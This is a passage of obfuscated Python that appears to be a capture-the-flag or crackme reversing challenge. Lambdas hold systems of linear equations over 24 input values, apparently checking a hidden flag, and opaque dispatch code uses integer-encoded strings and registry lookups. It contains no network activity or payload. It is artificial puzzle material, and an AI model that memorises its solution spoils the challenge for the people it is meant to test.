                    + 97 * a[11]
                    + 22 * a[21]
                    + 82 * a[6]
                    + 58 * a[4]
                    - 15919,
                    58 * a[6] + 91 * a[6] + 48 * a[15] + 60 * a[21] + 84 * a[9]
                    == 81 * a[14]
                    + 3 * a[2]
                    + 3 * a[15]
                    + 17 * a[13]
                    + 28 * a[19]
                    + 23080,
                ),
                lambda *a: (
                    8 * a[11] + 13 * a[23] + 70 * a[20] + 4 * a[14] + 25 * a[16]
                    == 47 * a[13]
                    + 56 * a[9]
                    + 14 * a[16]
                    + 14 * a[5]
                    + 47 * a[19]
                    - 2509,
                    56 * a[16] + 35 * a[7] + 71 * a[15] + 82 * a[11] + 43 * a[18]
                    == 89 * a[9]
                    + 5 * a[20]
                    + 38 * a[10]
                    + 16 * a[17]
                    + 16 * a[8]
                    + 13008,
                    60 * a[22] + 16 * a[2] + 79 * a[3] + 5 * a[22] + 99 * a[7]
                    == 22 * a[20]
                    + 75 * a[11]
                    + 31 * a[6]
                    + 4 * a[15]
                    + 53 * a[3]
                    + 1557,
                    22 * a[12] + 36 * a[19] + 84 * a[16] + 6 * a[22] + 44 * a[15]
                    == 94 * a[18]
                    + 46 * a[0]
                    + 7 * a[9]
                    + 16 * a[13]
                    + 69 * a[23]
                    - 5508,
                ),
                lambda *a: (
                    15 * a[14] + 37 * a[4] + 89 * a[19] + 1 * a[13] + 40 * a[21]
                    == 58 * a[7]
                    + 84 * a[2]
                    + 95 * a[17]
                    + 88 * a[7]
                    + 58 * a[8]
                    - 13680,
                    21 * a[2] + 72 * a[16] + 92 * a[14] + 29 * a[8] + 94 * a[16]
                    == 60 * a[13]
                    + 90 * a[16]
                    + 64 * a[17]
                    + 66 * a[2]
                    + 45 * a[2]
                    - 7275,
                    85 * a[4] + 56 * a[21] + 39 * a[20] + 5 * a[9] + 86 * a[21]
                    == 46 * a[11]
                    + 85 * a[2]
                    + 79 * a[20]
                    + 84 * a[11]
                    + 87 * a[10]
                    - 3608,
                    98 * a[13] + 9 * a[0] + 94 * a[21] + 81 * a[0] + 92 * a[16]
                    == 18 * a[16]
                    + 30 * a[0]
                    + 18 * a[9]
                    + 17 * a[17]
                    + 9 * a[18]
                    + 32955,
                ),
                lambda *a: (
                    99 * a[13] + 17 * a[8] + 43 * a[22] + 35 * a[15] + 63 * a[11]
                    == 75 * a[15]
                    + 65 * a[11]
                    + 44 * a[17]
                    + 68 * a[14]
                    + 71 * a[6]
                    - 6000,
                    96 * a[15] + 77 * a[19] + 70 * a[22] + 36 * a[5] + 40 * a[12]
                    == 92 * a[8]
                    + 78 * a[21]
                    + 18 * a[13]
                    + 27 * a[19]
                    + 64 * a[19]
                    - 2898,
                    64 * a[9] + 94 * a[17] + 20 * a[16] + 57 * a[6] + 76 * a[5]
                    == 57 * a[2]
                    + 66 * a[21]
                    + 82 * a[0]
                    + 95 * a[15]
                    + 70 * a[19]
                    - 16423,
                    35 * a[1] + 43 * a[22] + 7 * a[21] + 88 * a[9] + 72 * a[11]
                    == 79 * a[6]
                    + 66 * a[17]
                    + 43 * a[1]
                    + 80 * a[6]
                    + 13 * a[6]
                    - 16177,
                ),
                lambda *a: (
                    15 * a[14] + 72 * a[0] + 60 * a[2] + 66 * a[17] + 57 * a[14]
                    == 43 * a[5] + 79 * a[2] + 3 * a[16] + 17 * a[1] + 64 * a[6] + 4715,
                    46 * a[8] + 93 * a[3] + 59 * a[20] + 15 * a[14] + 84 * a[6]
                    == 49 * a[18]
                    + 46 * a[14]
                    + 41 * a[6]
                    + 37 * a[1]
                    + 98 * a[13]
                    + 3571,
                    50 * a[20] + 62 * a[5] + 24 * a[1] + 91 * a[23] + 59 * a[16]
                    == 52 * a[20]
                    + 37 * a[5]
                    + 60 * a[18]
                    + 59 * a[18]
                    + 25 * a[11]
                    + 6503,
                    19 * a[3] + 96 * a[19] + 38 * a[22] + 34 * a[5] + 27 * a[14]
                    == 61 * a[21]
                    + 74 * a[10]
                    + 1 * a[10]
                    + 86 * a[17]
                    + 62 * a[21]
                    - 14623,
                ),
                lambda *a: (
                    94 * a[21] + 46 * a[8] + 21 * a[14] + 46 * a[0] + 49 * a[17]
                    == 81 * a[8] + 97 * a[8] + 82 * a[4] + 4 * a[6] + 67 * a[8] - 10410,
                    65 * a[1] + 26 * a[7] + 14 * a[23] + 51 * a[22] + 20 * a[4]
                    == 19 * a[18]
                    + 87 * a[16]
                    + 27 * a[21]
                    + 57 * a[10]
                    + 88 * a[22]
                    - 10505,
                    83 * a[17] + 89 * a[21] + 57 * a[21] + 19 * a[19] + 42 * a[3]
                    == 12 * a[8] + 7 * a[0] + 83 * a[9] + 8 * a[10] + 79 * a[5] + 20536,
                    30 * a[19] + 67 * a[17] + 10 * a[1] + 13 * a[2] + 47 * a[1]
                    == 87 * a[10]
                    + 95 * a[11]
                    + 9 * a[15]
                    + 41 * a[3]
                    + 80 * a[16]
                    - 11542,
                ),
                lambda *a: (
                    98 * a[4] + 29 * a[16] + 91 * a[16] + 25 * a[13] + 94 * a[20]
                    == 41 * a[17]
                    + 63 * a[3]
                    + 61 * a[7]
                    + 28 * a[10]
                    + 89 * a[7]
                    + 17506,
                    28 * a[8] + 90 * a[16] + 12 * a[20] + 65 * a[6] + 69 * a[5]
                    == 87 * a[11]
                    + 33 * a[4]
                    + 20 * a[6]
                    + 10 * a[15]
                    + 23 * a[7]
                    + 11861,
                    52 * a[11] + 99 * a[3] + 62 * a[17] + 69 * a[12] + 36 * a[11]
                    == 71 * a[0]
                    + 25 * a[15]
                    + 49 * a[6]
                    + 56 * a[8]
                    + 87 * a[10]
                    - 3286,
                    95 * a[0] + 24 * a[2] + 11 * a[13] + 40 * a[3] + 85 * a[18]
                    == 37 * a[9]
                    + 49 * a[3]
                    + 15 * a[2]
                    + 51 * a[11]
                    + 71 * a[6]
                    + 8832,
                ),
                lambda *a: (
                    22 * a[7] + 92 * a[13] + 66 * a[21] + 16 * a[3] + 89 * a[17]
                    == 45 * a[22]
                    + 26 * a[17]
                    + 88 * a[18]
                    + 78 * a[22]
                    + 29 * a[11]
                    + 11656,
                    53 * a[3] + 77 * a[18] + 61 * a[23] + 81 * a[16] + 30 * a[15]
                    == 70 * a[16]
                    + 89 * a[22]
                    + 4 * a[13]
                    + 23 * a[15]
                    + 94 * a[18]
                    + 9747,
                    90 * a[20] + 70 * a[10] + 53 * a[0] + 26 * a[5] + 29 * a[20]
                    == 73 * a[6]
                    + 21 * a[21]
                    + 6 * a[23]
                    + 88 * a[17]
                    + 43 * a[1]
                    + 3403,
                    62 * a[3] + 59 * a[10] + 88 * a[0] + 77 * a[9] + 37 * a[5]
                    == 88 * a[12]
                    + 81 * a[9]
                    + 49 * a[17]
                    + 81 * a[16]
                    + 28 * a[2]
                    - 2875,
                ),
                lambda *a: (
                    22 * a[7] + 44 * a[2] + 18 * a[6] + 73 * a[1] + 51 * a[4]
                    == 40 * a[22]
                    + 97 * a[13]
                    + 27 * a[4]
                    + 70 * a[23]
                    + 66 * a[15]
                    - 10554,
                    18 * a[23] + 76 * a[20] + 94 * a[18] + 1 * a[0] + 87 * a[5]
                    == 90 * a[17]
                    + 20 * a[13]
                    + 86 * a[2]
                    + 28 * a[12]
                    + 89 * a[0]
                    - 7968,
                    14 * a[17] + 38 * a[20] + 4 * a[2] + 63 * a[22] + 54 * a[6]
                    == 48 * a[11]
                    + 69 * a[6]
                    + 60 * a[23]
                    + 35 * a[6]
                    + 87 * a[7]
                    - 11706,
                    68 * a[18] + 78 * a[7] + 31 * a[10] + 45 * a[9] + 73 * a[13]
                    == 23 * a[23] + 14 * a[7] + 91 * a[12] + 99 * a[4] + 8 * a[8] - 445,
                ),
                lambda *a: (
                    50 * a[17] + 66 * a[20] + 19 * a[20] + 56 * a[5] + 22 * a[7]
                    == 77 * a[2]
                    + 76 * a[18]
                    + 79 * a[11]
                    + 87 * a[0]
                    + 65 * a[13]
                    - 19932,
                    90 * a[19] + 11 * a[17] + 61 * a[21] + 27 * a[8] + 43 * a[19]
                    == 11 * a[0]
                    + 41 * a[19]
                    + 4 * a[5]
                    + 57 * a[3]
                    + 54 * a[15]
                    + 7163,
                    24 * a[2] + 7 * a[8] + 81 * a[23] + 42 * a[6] + 30 * a[20]
                    == 35 * a[10]
                    + 4 * a[14]
                    + 87 * a[18]
                    + 88 * a[5]
                    + 46 * a[10]
                    - 1649,
                    27 * a[5] + 34 * a[12] + 16 * a[0] + 39 * a[7] + 89 * a[10]
                    == 58 * a[17]
                    + 22 * a[20]
                    + 6 * a[14]
                    + 20 * a[4]
                    + 1 * a[14]
                    + 7194,
                ),
                lambda *a: (
                    39 * a[5] + 95 * a[16] + 29 * a[12] + 35 * a[20] + 2 * a[23]
                    == 52 * a[11]
                    + 36 * a[5]
                    + 72 * a[20]
                    + 47 * a[10]
                    + 27 * a[20]
                    - 837,
                    37 * a[13] + 78 * a[1] + 79 * a[15] + 73 * a[22] + 96 * a[6]
                    == 51 * a[18]
                    + 71 * a[20]
                    + 79 * a[2]
                    + 60 * a[8]
                    + 32 * a[14]
                    + 3156,
                    95 * a[17] + 8 * a[17] + 35 * a[8] + 22 * a[7] + 89 * a[15]
                    == 26 * a[20]
                    + 50 * a[2]
                    + 67 * a[1]
                    + 70 * a[10]
                    + 30 * a[14]
                    + 1114,
                    87 * a[7] + 56 * a[10] + 41 * a[7] + 22 * a[3] + 44 * a[3]
                    == 81 * a[6]
                    + 79 * a[12]
                    + 40 * a[22]
                    + 37 * a[15]
                    + 66 * a[12]
                    - 10364,
                ),
            )
        ),
        # g((input(t(1044266528)).encode(), 15553)),
        g((inp, 15553)),
        g[15623],
    ][(t(26122)[1] in g()[11618]) + 1](
        (t(11058375319408232550098454217411120665270488946811366757), t(439956237345))
    ),
    [
        g[14349](g()[15726](*g()[10963].pop()(*g()[(3).__class__(g[13890][138])])))
        for (i) in iter(g()[10987].__len__, 0)
    ],
    g[10839](t(7955827)),
]